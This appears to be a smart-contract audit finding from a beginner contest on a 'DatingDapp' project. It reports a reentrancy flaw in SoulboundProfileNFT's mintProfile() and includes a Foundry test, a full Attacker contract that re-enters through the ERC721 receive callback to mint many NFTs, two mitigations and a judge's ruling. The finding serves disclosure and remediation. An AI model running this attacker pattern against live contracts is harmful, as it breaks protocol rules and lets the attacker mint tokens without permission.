DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

REENTRANCY VULNERABILITY IN `SOULBOUNDPROFILENFT::MINTPROFILE()`

H-5 REENTRANCY VULNERABILITY IN SOULBOUNDPROFILENFT::MINTPROFILE() ALLOWS MULTIPLE NFT MINTS

Description:

The mintProfile() function in SoulboundProfileNFT is vulnerable to reentrancy attacks, allowing malicious contracts to mint multiple NFTs in a single transaction. This breaks the core invariant that each address should only be able to have one profile NFT.

Impact:

This vulnerability has several severe impacts:

  1. Malicious contracts can mint unlimited profile NFTs

  2. Breaks the fundamental "one profile per address" rule

  3. Could be used to manipulate the matching system

  4. Undermines the soulbound nature of the NFTs

Proof of Concept:

The vulnerability exists because:

  1. The profileToToken check happens before the NFT mint

  2. The _safeMint() function makes an external call to the recipient if it's a contract

  3. A malicious contract can use this callback to re-enter mintProfile() before the profileToToken mapping is updated

Test demonstrating the exploit:

function test_possible_reentrancy_Case() public {
// Arrange
Attacker attacker = new Attacker(address(soulboundProfileNFT));
//Act
vm.prank(USER1);
attacker.attackMintProfile("Attacker", 20, "https://example.com/image.png");
// Assert
assert(soulboundProfileNFT.balanceOf(address(attacker)) > 5);
console2.log("attacker soulboundProfileNFT balance", soulboundProfileNFT.balanceOf(address(attacker)));
}

Attacker Contract used in the exploit:

contract Attacker is ERC721 {
SoulboundProfileNFT soulboundProfileNFT;
uint256 private _tokenId;
constructor(address _soulboundProfileNFT) ERC721("Attacker", "ATT") {
soulboundProfileNFT = SoulboundProfileNFT(_soulboundProfileNFT);
}
function attackMintProfile(string memory name, uint8 age, string memory profileImage) public {
_tokenId++;
soulboundProfileNFT.mintProfile(name, age, profileImage);
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
while (_tokenId < 100) {
attackMintProfile("Attacker", 20, "https://example.com/image.png");
}
return this.onERC721Received.selector;
}
receive() external payable {}
}

Recommended Mitigation:

There are two possible approaches to fix this vulnerability:

  1. Follow Check-Effects-Interactions pattern by moving _safeMint() to the end:

solidity:src/SoulboundProfileNFT.sol

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId; //hmm this looks fishy
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
}
  1. Use OpenZeppelin's ReentrancyGuard:

solidity:src/SoulboundProfileNFT.sol
// Add import

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+ contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
// ... existing code ...
+ function mintProfile(string memory name, uint8 age, string memory profileImage) external nonReentrant{
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId; //hmm this looks fishy
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
}
Updates

Appeal created

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.